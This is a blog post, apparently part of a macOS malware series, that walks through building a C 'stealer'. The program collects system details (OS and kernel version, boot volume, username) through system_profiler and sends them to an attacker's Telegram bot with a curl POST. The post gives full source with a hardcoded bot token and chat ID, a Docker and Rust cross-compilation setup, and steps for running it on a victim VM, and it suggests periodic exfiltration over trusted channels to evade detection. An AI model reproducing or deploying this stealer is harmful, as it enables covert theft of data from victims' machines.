MacOS hacking part 1: stealing data via legit Telegram API. Simple C example

cocomelonc.github.io · cocomelonc · 10 months ago · research
quality 7/10 · good
0 net
MacOS hacking part 1: stealing data via legit Telegram API. Simple C example - cocomelonc You are using an outdated browser. Please upgrade your browser to improve your experience. cocomelonc cybersec enthusiast. mathematician. author. speaker. hacker Follow Istanbul Email Twitter GitHub LinkedIn Custom Social Profile Link --> ﷽ Hello, cybersecurity enthusiasts and white hackers! This article could be called something like: “Malware trick part 48” since this is the next post about the trick, but I decided to highlight a series of posts about malware for Apple/Mac at the request of my readers. In the previous examples we created a simple Proof of Concept of using legit connections via Telegram Bot API , VirusTotal API and Discord Bot API for “stealing” simplest information from victim’s Windows machine. What about MacOS systems? Nowadays, more and more targets of attackers are not only owners of Windows machines but also MacOS, Apple laptops is very popular. practical example The basic logic of our malware will be similar: sending system information via Telegram Bot API. You don’t need to have an Apple MacBook to do this. For the simulation of MacOSX I used quickemu, for me it is worked perfectly: https://github.com/quickemu-project/quickemu Run it: quickemu --vm macos-sonoma.conf And you can use all features, Xcode, iPhone Simulator (for example, iOS 18.4 in my case): My project’s structure looks like there ( spyware ): First of all, we need to get system information. On MacOSX you can use command: system_profiler SPSoftwareDataType As you can see, the response would contain detailed system info, including macOS version, kernel version etc. So, we can parse it like this: char command [] = "system_profiler SPSoftwareDataType 2>&1" ; char buffer [ BUFFER_SIZE ]; FILE * pipe = popen ( command , "r" ); if ( ! pipe ) { perror ( "Failed to open pipe!" ); return 1 ; } // system information char systemVersion [ BUFFER_SIZE ] = { 0 }; char kernelVersion [ BUFFER_SIZE ] = { 0 }; char bootVol [ BUFFER_SIZE ] = { 0 }; char username [ BUFFER_SIZE ] = { 0 }; char computerName [ BUFFER_SIZE ] = { 0 }; // get buffer while ( fgets ( buffer , sizeof ( buffer ), pipe ) != NULL ) { // trim buffer trimF ( buffer ); // get system version if ( strstr ( buffer , "System Version:" ) != NULL ) { strcpy ( systemVersion , buffer + strlen ( "System Version:" ) + 7 ); } // get kernel version if ( strstr ( buffer , "Kernel Version:" ) != NULL ) { strcpy ( kernelVersion , buffer + strlen ( "Kernel Version:" ) + 7 ); } // get boot volume info if ( strstr ( buffer , "Boot Volume:" ) != NULL ) { strcpy ( bootVol , buffer + strlen ( "Boot Volume:" ) + 7 ); } // get username if ( strstr ( buffer , "User Name:" ) != NULL ) { strcpy ( username , buffer + strlen ( "User Name:" ) + 7 ); } // computer name if ( strstr ( buffer , "Computer Name:" ) != NULL ) { strcpy ( computerName , buffer + strlen ( "Computer Name:" ) + 7 ); } } // close fclose ( pipe ); We need helper function for remove newlines and carriage returns: // trim function void trimF ( char * str ) { char * pos ; // remove newlines if (( pos = strchr ( str , '\n' )) != NULL ) { * pos = '\0' ; } // remove carriage returns if (( pos = strchr ( str , '\r' )) != NULL ) { * pos = '\0' ; } char * token = strtok ( pos , " \t\n\r " ); if ( token ) { strcpy ( pos , token ); } } and main logic: send data via Telegram Bot API: // function to send message via Telegram Bot API int sendToTgBot ( const char * message , const char * botToken , const char * chatId ) { char command [ 1024 ]; // URL encode message for safe HTTP request char encodedMessage [ BUFFER_SIZE ]; snprintf ( encodedMessage , sizeof ( encodedMessage ), " \" %s \" " , message ); // just for simplicity here // build the curl command to send the message to Telegram snprintf ( command , sizeof ( command ), "curl -s -X POST https://api.telegram.org/bot%s/sendMessage -d chat_id=%s -d text=%s" , botToken , chatId , encodedMessage ); // execute the command int result = system ( command ); return result ; } As you can see, once the system information is collected, it needs to be sent to the attacker. This is where the Telegram Bot API comes into play. Using curl , the attacker can send a POST request to the Telegram server: curl -s -X POST "https://api.telegram.org/bot/sendMessage" --data-urlencode "chat_id=" --data-urlencode "text=" So, full source code is looks like this ( hack.c ): /* * hack.c * simple mac stealer * author @cocomelonc * https://cocomelonc.github.io/macos/2025/06/12/malware-mac-1.html */ #include #include #include #define BUFFER_SIZE 128 // trim function void trimF ( char * str ) { char * pos ; // remove newlines if (( pos = strchr ( str , '\n' )) != NULL ) { * pos = '\0' ; } // remove carriage returns if (( pos = strchr ( str , '\r' )) != NULL ) { * pos = '\0' ; } char * token = strtok ( pos , " \t\n\r " ); if ( token ) { strcpy ( pos , token ); } } // function to send message via Telegram Bot API int sendToTgBot ( const char * message , const char * botToken , const char * chatId ) { char command [ 1024 ]; // URL encode message for safe HTTP request char encodedMessage [ BUFFER_SIZE ]; snprintf ( encodedMessage , sizeof ( encodedMessage ), " \" %s \" " , message ); // just for simplicity here // build the curl command to send the message to Telegram snprintf ( command , sizeof ( command ), "curl -s -X POST https://api.telegram.org/bot%s/sendMessage --data-urlencode chat_id=%s --data-urlencode text=%s" , botToken , chatId , encodedMessage ); // execute the command int result = system ( command ); return result ; } int main () { char command [] = "system_profiler SPSoftwareDataType 2>&1" ; char buffer [ BUFFER_SIZE ]; FILE * pipe = popen ( command , "r" ); if ( ! pipe ) { perror ( "failed to open pipe!" ); return 1 ; } // system information char systemVersion [ BUFFER_SIZE ] = { 0 }; char kernelVersion [ BUFFER_SIZE ] = { 0 }; char bootVol [ BUFFER_SIZE ] = { 0 }; char username [ BUFFER_SIZE ] = { 0 }; char computerName [ BUFFER_SIZE ] = { 0 }; // get buffer while ( fgets ( buffer , sizeof ( buffer ), pipe ) != NULL ) { // trim buffer trimF ( buffer ); // get system version if ( strstr ( buffer , "System Version:" ) != NULL ) { strcpy ( systemVersion , buffer + strlen ( "System Version:" ) + 7 ); } // get kernel version if ( strstr ( buffer , "Kernel Version:" ) != NULL ) { strcpy ( kernelVersion , buffer + strlen ( "Kernel Version:" ) + 7 ); } // get boot volume info if ( strstr ( buffer , "Boot Volume:" ) != NULL ) { strcpy ( bootVol , buffer + strlen ( "Boot Volume:" ) + 7 ); } // get username if ( strstr ( buffer , "User Name:" ) != NULL ) { strcpy ( username , buffer + strlen ( "User Name:" ) + 7 ); } } // close fclose ( pipe ); // trim all values before sending trimF ( systemVersion ); trimF ( kernelVersion ); trimF ( bootVol ); trimF ( username ); // construct the message to be sent to Telegram char systemInfo [ 1024 ]; snprintf ( systemInfo , sizeof ( systemInfo ), "System Version: %s \n Kernel Version: %s \n Boot Volume: %s \n Username: %s" , systemVersion , kernelVersion , bootVol , username ); // Telegram Bot details const char * botToken = "7725786727:AAEuylKfQgTg5RBMeXwyk9qKhcV5kULP_po" ; // please, replace with your bot token const char * chatId = "5547299598" ; // replace with your chat ID // send system information to Telegram int result = sendToTgBot ( systemInfo , botToken , chatId ); if ( result == 0 ) { printf ( "system info successfully sent to Telegram \n " ); } else { printf ( "failed to send system info to Telegram \n " ); } return 0 ; } demo Let’s go to see everything in action. First of all we need to compile our stealer. For this reason I used: https://github.com/shepherdjerred/macos-cross-compiler This project is really useful, you can cross-compile your code on Linux for MacOS. As I wrote before based on the structure of our project, I used the following files: Dockerfile # use the macOS cross-compiler image as the base FROM ghcr.io/shepherdjerred/macos-cross-compiler:latest # update package list and install required packages RUN apt-get update && \ apt-get install -y \ curl \ pkg-config \ libssl-dev \ gcc-mingw-w64 \ clang \ cmake \ make \ zlib1g-dev # copy macOS project code into the container COPY ./projects /app # set the working directory WORKDIR /app RUN chmod +x /app/hack_compiler/target/release/hack_compiler # execute the hack_compiler script and keep the container alive CMD [ "/bin/bash" , "-c" , "/app/hack_compiler/target/release/hack_compiler && tail -f /dev/null" ] and docker-compose.yml networks : mac_net : services : stealer : build : context : ./stealer volumes : - ./stealer/projects:/app working_dir : /app networks : - mac_net What is the hack_compiler ? For compilation I wrote a simple script in rust: use std :: io ; use std :: process :: Command ; fn compile_project () -> io :: Result < () > { println! ( "compiling the project..." ); let output = Command :: new ( "x86_64-apple-darwin24-g++" ) .arg ( "/app/hack_stealer/hack.c" ) .arg ( "-o" ) .arg ( "/app/hack_stealer/hack" ) .arg ( "-static-libgcc" ) .arg ( "-static-libstdc++" ) .arg ( "-O3" ) .output () ? ; if ! output .status .success () { return Err ( io :: Error :: new ( io :: ErrorKind :: Other , "hack project compilation failed" )); } println! ( "hack project successfully compiled :)" ); Ok (()) } fn main () { println! ( "starting all..." ); if let Err ( e ) = compile_project () { eprintln! ( "{}" , e ); std :: thread :: sleep ( std :: time :: Duration :: from_secs ( 2 )); return ; } println! ( "process completed successfully!" ); } As you can see, the logic is pretty simple. Used x86_64-apple-darwin24-g++ for cross-compilation, then if everything is ok, just print: hack project successfully compiled : ) process completed successfully! Ok, so, start our docker logic for compilation. Run: docker compose build then: docker compose up -d docker compose ps docker compose logs -f It’s looks like everything succsessfully compiled! =^..^= You also can do it manually inside the container via rust commands: cargo build --release cargo run Then copy compiled binary hack from container to linux: for checking correctness of binary format, run: file hack As you can see, this binary file is Mac-O 64-bit executable. Note: perhaps you can do this compilation logic without Rust by simply running a cross compiler, but I haven’t checked UPD: you also can check via command without Rust: cd hack_stealer/ x86_64-apple-darwin24-g++ ./hack.c -o ./hack -static-libgcc -static-libstdc ++ -O3 Run our victim’s MacOS VM: copy hack to ~/Desktop : and run: ./hack Everything worked as expected, perfectly! =^..^= Of course, in real attacks, the attacker can also configure the our program to send updates about the system regularly. For example, the malicious code can be configured to send information every few hours. For example, the malware could be set to ping the Telegram bot every 12 hours to exfiltrate updated system information. This makes it harder to detect because the data is being transferred over trusted channels (Telegram). Maybe i will continue this series of posts about macOS, for example l can write something about process injection and malware persistence methods. I hope this post is useful for malware researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal. Malware development trick 40: Stealing data via legit Telegram API. Simple C example. https://github.com/quickemu-project/quickemu https://github.com/shepherdjerred/macos-cross-compiler https://github.com/tpoechtrager/osxcross source code in github This is a practical case for educational purposes only. Thanks for your time happy hacking and good bye! PS. All drawings and screenshots are mine Share on Twitter Facebook LinkedIn You may also enjoy MacOS malware persistence 9: emond (The Event Monitor Daemon). Simple C example 3 minute read ﷽ MacOS malware persistence 8: periodic scripts. Simple C example 3 minute read ﷽ MacOS hacking part 13: sysinfo stealer via VirusTotal API. Simple C example 4 minute read ﷽ MacOS malware persistence 7: Re-opened applications. Simple C example 7 minute read ﷽